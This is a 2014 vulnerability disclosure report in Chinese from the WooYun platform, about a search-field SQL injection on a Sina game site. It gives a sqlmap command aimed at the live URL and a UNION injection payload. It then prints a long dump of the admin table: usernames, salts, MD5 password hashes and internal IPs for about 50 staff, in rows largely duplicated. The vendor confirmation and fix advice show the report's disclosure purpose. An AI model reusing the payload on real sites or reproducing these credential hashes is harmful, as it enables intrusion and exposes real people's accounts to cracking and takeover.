漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-064737
漏洞标题：新浪某游戏网SQL注入
相关厂商：新浪
漏洞作者： J4nker
提交时间：2014-06-13 12:26
修复时间：2014-07-28 12:28
公开时间：2014-07-28 12:28
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-13： 细节已通知厂商并且等待厂商处理中
2014-06-13： 厂商已经确认，细节仅向厂商公开
2014-06-23： 细节向核心白帽子及相关领域专家公开
2014-07-03： 细节向普通白帽子公开
2014-07-13： 细节向实习白帽子公开
2014-07-28： 细节向公众公开
简要描述：
新浪某游戏网SQL注入导致游戏网会被沦陷。中50几位管理员的密码已经暴露出来。
详细说明：
查了下 是新浪旗下的网站
搜索型的注入。%号都木有。
漏洞证明：
注入点在这里 搜索的这个地方
sqlmap.py -u "http://www.twgame.com.cn/p/?k='%20OR%20'ns'='ns
" --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
Parameter: k
Type: UNION query
Title: MySQL UNION query (NULL) - 27 columns
Payload: k=' OR 'ns'='ns' UNION ALL SELECT CONCAT(0x3a7a74753a,0x724b4b
d55776c6f,0x3a746e663a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[00:05:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
[00:05:47] [INFO] fetching current database
current database: 'admin_games'
26812 |
| 1 | 4 | [email protected] | CMQHnA | jihua | ???
| 8c149031f6ad00da33051a0320d73404 | 10.209.79.219 | 1400032199 | 13753
26812 |
| 1 | 7 | [email protected] | TgxMB1 | wangze | ??
| bb79ccbb18d998beb295dbf57e8e2bae | 10.208.11.219 | 1402285405 | 13746
54715 |
| 1 | 7 | [email protected] | TgxMB1 | wangze | ??
| bb79ccbb18d998beb295dbf57e8e2bae | 10.208.11.219 | 1402285405 | 13746
54715 |
| 3 | 8 | [email protected] | M8XvhS | xufeng3 | xuf
eng | c9ccdd77bf360384dfefa90cbc226eb6 | 10.208.11.221 | 1402292362 | 13557
13971 |
| 3 | 8 | [email protected] | M8XvhS | xufeng3 | xuf
eng | c9ccdd77bf360384dfefa90cbc226eb6 | 10.208.11.221 | 1402292362 | 13557
13971 |
| 4 | 9 | [email protected] | Wjz7ZL | yaoxufeng | <bl
ank> | 9d5acb85fcfdbd2cc154da922909d5db | 10.208.11.175 | 1402562540 | 13560
63194 |
| 4 | 9 | [email protected] | Wjz7ZL | yaoxufeng | <bl
ank> | 9d5acb85fcfdbd2cc154da922909d5db | 10.208.11.175 | 1402562540 | 13560
63194 |
| 2 | 13 | [email protected] | US3CyP | yifan5 | ???
| fc267792cd6172ad2ff5f79f65e04d89 | 10.208.11.40 | 1394440405 | 13566
06388 |
| 2 | 13 | [email protected] | US3CyP | yifan5 | ???
| fc267792cd6172ad2ff5f79f65e04d89 | 10.208.11.40 | 1394440405 | 13566
06388 |
| 16 | 15 | [email protected] | DS2RKJ | lingyang | ???
| caeae3ec585ed9a88fd061a5c3815efd | 10.208.1.119 | 1402559502 | 13778
42337 |
| 16 | 15 | [email protected] | DS2RKJ | lingyang | ???
| caeae3ec585ed9a88fd061a5c3815efd | 10.208.1.119 | 1402559502 | 13778
42337 |
| 5 | 17 | [email protected] | JCpKLb | dota2editer | ???
? | a73e5aa0c12ce117baa506dfbc76c37f | 10.208.11.130 | 1402020244 | 13572
70410 |
| 5 | 17 | [email protected] | JCpKLb | dota2editer | ???
? | a73e5aa0c12ce117baa506dfbc76c37f | 10.208.11.130 | 1402020244 | 13572
70410 |
| 16 | 18 | [email protected] | s4tqq8 | guotao1 | ???
| b18bd24f990c889e48d30ba34af98836 | 10.208.1.253 | 1377842396 | 13778
42345 |
| 16 | 18 | [email protected] | s4tqq8 | guotao1 | ???
| b18bd24f990c889e48d30ba34af98836 | 10.208.1.253 | 1377842396 | 13778
42345 |
| 6 | 19 | [email protected] | h2mqIm | shenliang1 | <bl
ank> | 59189522cd998cb9aa80fa9bc546635d | 10.208.11.48 | 1402473016 | 13826
03718 |
| 6 | 19 | [email protected] | h2mqIm | shenliang1 | <bl
ank> | 59189522cd998cb9aa80fa9bc546635d | 10.208.11.48 | 1402473016 | 13826
03718 |
| 8 | 21 | [email protected] | wkrT3P | weitan | <bl
ank> | 83de88dec107ca55b3e1fa506cb0c37d | 10.208.11.35 | 1402556760 | 13698
00411 |
| 8 | 21 | [email protected] | wkrT3P | weitan | <bl
ank> | 83de88dec107ca55b3e1fa506cb0c37d | 10.208.11.35 | 1402556760 | 13698
00411 |
| 2 | 22 | [email protected] | kJJzhI | shenshuai1 | ??
| ad350e692086fae099000fd4c60a56dd | 10.208.7.207 | 1402023261 | 13702
40624 |
| 2 | 22 | [email protected] | kJJzhI | shenshuai1 | ??
| ad350e692086fae099000fd4c60a56dd | 10.208.7.207 | 1402023261 | 13702
40624 |
| 2 | 23 | [email protected] | pKa4ht | yongsheng | ???
| 750b7fad75328a67533659e3ee66efe9 | 10.208.11.76 | 1402536233 | 13728
50454 |
| 2 | 23 | [email protected] | pKa4ht | yongsheng | ???
| 750b7fad75328a67533659e3ee66efe9 | 10.208.11.76 | 1402536233 | 13728
50454 |
| 9 | 24 | [email protected] | cNgSVl | shaohua | <bl
ank> | 07159fe6edad0a8a8de0a0793e88ed2a | 10.208.11.134 | 1392881280 | 13736
16232 |
| 9 | 24 | [email protected] | cNgSVl | shaohua | <bl
ank> | 07159fe6edad0a8a8de0a0793e88ed2a | 10.208.11.134 | 1392881280 | 13736
16232 |
| 1 | 25 | [email protected] | fMpm6e | liugeng | ??
| 5f847f6b5e95634d3cb5735396a7b1cf | 10.208.1.156 | 1402565640 | 13744
80408 |
| 1 | 25 | [email protected] | fMpm6e | liugeng | ??
| 5f847f6b5e95634d3cb5735396a7b1cf | 10.208.1.156 | 1402565640 | 13744
80408 |
| 10 | 26 | [email protected] | wBeHML | kaixian1 | ???
| 073d138c12b01c0b1dbbddd8f0c2fcb8 | 10.208.7.31 | 1402557849 | 13742
02917 |
| 10 | 26 | [email protected] | wBeHML | kaixian1 | ???
| 073d138c12b01c0b1dbbddd8f0c2fcb8 | 10.208.7.31 | 1402557849 | 13742
02917 |
| 11 | 29 | [email protected] | si4KCT | liuchen2 | ??
| bd349782161c4df3315acb51f87bd598 | 10.208.11.22 | 1402023528 | 13956
45274 |
| 11 | 29 | [email protected] | si4KCT | liuchen2 | ??
| bd349782161c4df3315acb51f87bd598 | 10.208.11.22 | 1402023528 | 13956
45274 |
| 11 | 30 | [email protected] | ncsBUU | lingfei1 | ???
| c44a318195f7a36b0f3bcdf9a7dcc983 | 10.208.11.169 | 1402554979 | 13921
93493 |
| 11 | 30 | [email protected] | ncsBUU | lingfei1 | ???
| c44a318195f7a36b0f3bcdf9a7dcc983 | 10.208.11.169 | 1402554979 | 13921
93493 |
| 11 | 31 | [email protected] | btnn3P | chenxiaoxiao | ???
| 6f4c4d971fba0149fd560cfc53a9113d | 10.208.1.160 | 1402481216 | 13744
82008 |
| 11 | 31 | [email protected] | btnn3P | chenxiaoxiao | ???
| 6f4c4d971fba0149fd560cfc53a9113d | 10.208.1.160 | 1402481216 | 13744
82008 |
| 1 | 34 | [email protected] | MmSgz1 | mengye | ???
| 8944658c5e0827bfcef42fc7c844fc7c | 10.208.1.46 | 1402390584 | 13813
03252 |
| 1 | 34 | [email protected] | MmSgz1 | mengye | ???
| 8944658c5e0827bfcef42fc7c844fc7c | 10.208.1.46 | 1402390584 | 13813
03252 |
| 11 | 35 | [email protected] | UuT6QN | yangdi4 | ??
| d3dfd5382b6660606c27af8662d74713 | 10.208.7.32 | 1402559830 | 13744
86017 |
| 11 | 35 | [email protected] | UuT6QN | yangdi4 | ??
| d3dfd5382b6660606c27af8662d74713 | 10.208.7.32 | 1402559830 | 13744
86017 |
| 11 | 38 | [email protected] | 8LsiMx | wenbo7 | ???
| 28ffd085349b057f344954b683182a8a | 10.208.11.248 | 1402571655 | 13744
82218 |
| 11 | 38 | [email protected] | 8LsiMx | wenbo7 | ???
| 28ffd085349b057f344954b683182a8a | 10.208.11.248 | 1402571655 | 13744
82218 |
| 11 | 39 | [email protected] | Lg9Vh4 | wangcong2 | ??
| 571f71a81a030850a3ed175f4983fec7 | 10.208.11.246 | 1402396402 | 13752
55060 |
| 11 | 39 | [email protected] | Lg9Vh4 | wangcong2 | ??
| 571f71a81a030850a3ed175f4983fec7 | 10.208.11.246 | 1402396402 | 13752
55060 |
| 14 | 41 | [email protected] | 1Vyivg | zhangshu | ??
| b2db7045e2af18c00733e834c28a4a12 | 10.208.1.59 | 1394518907 | 13819
03118 |
| 14 | 41 | [email protected] | 1Vyivg | zhangshu | ??
| b2db7045e2af18c00733e834c28a4a12 | 10.208.1.59 | 1394518907 | 13819
03118 |
| 11 | 42 | [email protected] | yuQ6HR | shenshen | ???
| 37026fcde6acf23ec2c89f59ba130e88 | 10.208.11.193 | 1402392035 | 13765
49989 |
| 11 | 42 | [email protected] | yuQ6HR | shenshen | ???
| 37026fcde6acf23ec2c89f59ba130e88 | 10.208.11.193 | 1402392035 | 13765
49989 |
| 14 | 43 | [email protected] | ix1CdQ | zhiliang | ???
| f8837110cd4f5695faa53470bd26a42e | 10.208.1.55 | 1402471293 | 13831
83817 |
| 14 | 43 | [email protected] | ix1CdQ | zhiliang | ???
| f8837110cd4f5695faa53470bd26a42e | 10.208.1.55 | 1402471293 | 13831
83817 |
| 15 | 45 | [email protected] | fKrt8K | hanli2 | han
li2 | 09236b1fac10f9637185a139bf2d9087 | 10.208.2.239 | 1377763143 | 13777
62912 |
| 15 | 45 | [email protected] | fKrt8K | hanli2 | han
li2 | 09236b1fac10f9637185a139bf2d9087 | 10.208.2.239 | 1377763143 | 13777
62912 |
| 17 | 48 | [email protected] | 5j2BDc | liuqing | ??
| a8013d1af1a7c0c77574e27cf137ab69 | 10.208.1.211 | 1385464591 | 13794
03245 |
| 17 | 48 | [email protected] | 5j2BDc | liuqing | ??
| a8013d1af1a7c0c77574e27cf137ab69 | 10.208.1.211 | 1385464591 | 13794
03245 |
| 18 | 49 | [email protected] | PCaHWT | zhangtao1 | ??
| 45b8cf3f371fc617e505bf8e006266fe | 10.208.11.220 | 1390730296 | 13832
08905 |
| 18 | 49 | [email protected] | PCaHWT | zhangtao1 | ??
| 45b8cf3f371fc617e505bf8e006266fe | 10.208.11.220 | 1390730296 | 13832
08905 |
| 2 | 50 | [email protected] | P2JhJZ | haibo8 | ???
| 76e6e0fbdfc84ca413fc6f56c9489fde | 10.208.11.206 | 1402470832 | 13841
58736 |
| 2 | 50 | [email protected] | P2JhJZ | haibo8 | ???
| 76e6e0fbdfc84ca413fc6f56c9489fde | 10.208.11.206 | 1402470832 | 13841
58736 |
| 1 | 51 | [email protected] | 4NAEdi | shaoying2 | ??
| 3ffeb98526a5da808ebe27b396b917a2 | 10.208.1.108 | 1402538754 | 13844
18903 |
| 1 | 51 | [email protected] | 4NAEdi | shaoying2 | ??
| 3ffeb98526a5da808ebe27b396b917a2 | 10.208.1.108 | 1402538754 | 13844
18903 |
| 11 | 52 | [email protected] | dDiBmH | ??2? | yao
ran | 918c553b9d9777db92870db5aa2209a3 | 10.212.12.29 | 1402295800 | 13879
68002 |
| 11 | 52 | [email protected] | dDiBmH | ??2? | yao
ran | 918c553b9d9777db92870db5aa2209a3 | 10.212.12.29 | 1402295800 | 13879
68002 |
| 2 | 53 | [email protected] | VuqxZ8 | yanghong4 | ??
| f99ac112088bf5f02e39788a5f2a938a | 10.208.11.102 | 1401936697 | 13886
58367 |
| 2 | 53 | [email protected] | VuqxZ8 | yanghong4 | ??
| f99ac112088bf5f02e39788a5f2a938a | 10.208.11.102 | 1401936697 | 13886
58367 |
| 7 | 54 | [email protected] | 96PXXl | kaifu | kai
fu | 1fada370f459707a3a5f2939b40d925b | 10.208.11.68 | 1402538460 | 13891
69724 |
| 7 | 54 | [email protected] | 96PXXl | kaifu | kai
fu | 1fada370f459707a3a5f2939b40d925b | 10.208.11.68 | 1402538460 | 13891
69724 |
| 19 | 55 | [email protected] | iAtVMm | loldb | ???
| 6bc02a02745939791d211fabb8f35852 | 10.208.1.154 | 1402474034 | 13892
57901 |
| 19 | 55 | [email protected] | iAtVMm | loldb | ???
| 6bc02a02745939791d211fabb8f35852 | 10.208.1.154 | 1402474034 | 13892
57901 |
| 20 | 56 | [email protected] | PXHITa | wuhao3 | ??
| 97e0c2b6037e0f2688a980e04c78bd54 | 10.208.11.223 | 1402554074 | 13900
13149 |
| 20 | 56 | [email protected] | PXHITa | wuhao3 | ??
| 97e0c2b6037e0f2688a980e04c78bd54 | 10.208.11.223 | 1402554074 | 13900
13149 |
| 21 | 57 | [email protected] | eZVcPE | page | <bl
ank> | d710de195243b32c7b944fd235a19465 | 10.208.11.114 | 1394014991 | 13908
96776 |
| 21 | 57 | [email protected] | eZVcPE | page | <bl
ank> | d710de195243b32c7b944fd235a19465 | 10.208.11.114 | 1394014991 | 13908
96776 |
| 2 | 58 | [email protected] | u3sSDn | zhenzhou | ??
| 4e3a1b60feefbc403d3921d15a106054 | 10.208.11.234 | 1402538277 | 13921
90410 |
| 2 | 58 | [email protected] | u3sSDn | zhenzhou | ??
| 4e3a1b60feefbc403d3921d15a106054 | 10.208.11.234 | 1402538277 | 13921
90410 |
| 14 | 59 | [email protected] | bPCU7t | lvshuang | ??
| f7155329fb04be332da84df52509bbcf | 10.208.1.199 | 1399427827 | 13929
68956 |
| 14 | 59 | [email protected] | bPCU7t | lvshuang | ??
| f7155329fb04be332da84df52509bbcf | 10.208.1.199 | 1399427827 | 13929
68956 |
| 22 | 60 | [email protected] | mfT5Yr | wapnews | wap
???? | db5a09f7786084d44393d5a37f8c593a | 10.208.11.164 | 1402570713 | 13935
55372 |
| 22 | 60 | [email protected] | mfT5Yr | wapnews | wap
???? | db5a09f7786084d44393d5a37f8c593a | 10.208.11.164 | 1402570713 | 13935
55372 |
| 2 | 61 | [email protected] | yzDh7l | pengkun | ??
| d7e4810ab099acec1ec57e6aeda20cb8 | 10.208.8.221 | 1402555282 | 13945
04517 |
| 2 | 61 | [email protected] | yzDh7l | pengkun | ??
| d7e4810ab099acec1ec57e6aeda20cb8 | 10.208.8.221 | 1402555282 | 13945
04517 |
| 11 | 62 | [email protected] | blIYvy | jieyan | ???
| 41d42f3d7445e386f3547f10c9f5d564 | 10.208.11.63 | 1402556257 | 13965
15925 |
| 11 | 62 | [email protected] | blIYvy | jieyan | ???
| 41d42f3d7445e386f3547f10c9f5d564 | 10.208.11.63 | 1402556257 | 13965
15925 |
| 11 | 63 | [email protected] | qjIMxk | weigang3 | ???
| 2d6e31aaa3fd9b06e2686e9c221fa4de | 10.208.7.230 | 1402050866 | 13965
16030 |
| 11 | 63 | [email protected] | qjIMxk | weigang3 | ???
| 2d6e31aaa3fd9b06e2686e9c221fa4de | 10.208.7.230 | 1402050866 | 13965
16030 |
| 15 | 64 | [email protected] | xqtVXW | gameshop | ???
? | 04f21456cff172c0222dffa36dd40f08 | 10.208.11.175 | 1402470105 | 13981
49367 |
| 15 | 64 | [email protected] | xqtVXW | gameshop | ???
? | 04f21456cff172c0222dffa36dd40f08 | 10.208.11.175 | 1402470105 | 13981
49367 |
| 14 | 65 | [email protected] | NuXXM5 | yinli3 | ??
| b2d0898f6262e39eafa087fb473a908f | 10.208.8.224 | 1402476558 | 13994
28235 |
| 14 | 65 | [email protected] | NuXXM5 | yinli3 | ??
| b2d0898f6262e39eafa087fb473a908f | 10.208.8.224 | 1402476558 | 13994
28235 |
| 14 | 66 | [email protected] | WPzSkp | baiqing | ???
| bccc95181858f9a1750227fff196ed45 | 10.208.1.234 | 1399534834 | 13994
28265 |
| 14 | 66 | [email protected] | WPzSkp | baiqing | ???
| bccc95181858f9a1750227fff196ed45 | 10.208.1.234 | 1399534834 | 13994
28265 |
| 3 | 67 | [email protected] | Cb5PPZ | chaojun | ???
| b8e01716e15cdea6b1390564952f5a13 | 10.208.11.86 | 1401263481 | 14002
25152 |
| 3 | 67 | [email protected] | Cb5PPZ | chaojun | ???
| b8e01716e15cdea6b1390564952f5a13 | 10.208.11.86 | 1401263481 | 14002
25152 |
| 11 | 68 | [email protected] | XCTVMT | zhangbin9 | ??
| 3e4d9b5b9c18446929993147ca90f465 | 10.208.11.27 | 1402560955 | 14025
60817 |
| 11 | 68 | [email protected] | XCTVMT | zhangbin9 | ??
| 3e4d9b5b9c18446929993147ca90f465 | 10.208.11.27 | 1402560955 | 14025
60817 |
| 11 | 69 | [email protected] | itIgMv | shixi_luxu | ??
| ed32f5751d0e9687820e0914aa72a689 | 10.208.11.67 | 1402469639 | 14023
88772 |
| 11 | 69 | [email protected] | itIgMv | shixi_luxu | ??
| ed32f5751d0e9687820e0914aa72a689 | 10.208.11.67 | 1402469639 | 14023
88772 |
修复方案：
新浪的工作人员很好，上次还送了娃娃我。很赞很赞。快点修复。小心脱裤
修复的话对搜索过滤下。嘻嘻、
版权声明：转载请注明来源 J4nker@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2014-06-13 19:03
厂商回复：
感谢关注新浪安全，已经通知了相应开发人员，进行处理
最新状态：
暂无